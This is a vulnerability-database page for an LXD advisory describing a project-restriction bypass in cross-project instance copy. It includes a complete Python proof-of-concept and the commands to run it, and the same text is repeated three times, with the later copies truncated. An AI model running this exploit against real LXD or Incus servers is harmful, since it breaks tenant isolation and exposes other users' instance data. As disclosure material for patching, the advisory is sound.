GHSA-qx75-2p3r-pwm5
LXD has project restriction bypass in instance copy across projects
GHSA-qx75-2p3r-pwm5 is a high vulnerability (CVSS 7.7) in github.com/canonical/lxd, published November 6, 2026. No source lists public exploit code. Fixed in github.com/canonical/lxd 0.0.0-20260630083100-c5184be310b1.
- Severity
- 7.7 HighCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
0.0.0-20260630083100-c5184be310b1github.com/canonical/lxd
Description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/canonical/lxdGo | before 0.0.0-20260630083100-c5184be310b1 | 0.0.0-20260630083100-c5184be310b1 |
What each source reports
GitHub Advisories Score used 7.7
LXD has project restriction bypass in instance copy across projects
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path,…
- Record
GHSA-qx75-2p3r-pwm5- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-06
OSV 7.7
LXD has project restriction bypass in instance copy across projects
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path,…
- Record
GHSA-qx75-2p3r-pwm5- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-06
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, references | OSV | |
| first indexed | GitHub Advisories |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
github.com/canonical/lxd/security/advisories/GHSA-qx75-2p3r-pwm5
github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
nvd.nist.gov/vuln/detail/CVE-2026-55622
github.com/canonical/lxd/commit/97cb037794cb6b21c5a184eb5f3292207adbf6b2
github.com/canonical/lxd/commit/bc1e20ea32dff6ae2df08803eee82832959ec80e
github.com/canonical/lxd/commit/f7849615eb89e71a12ea76daaab6110bdf0fdf7f
Left out here: the rest of 2 source descriptions. The JSON record has them.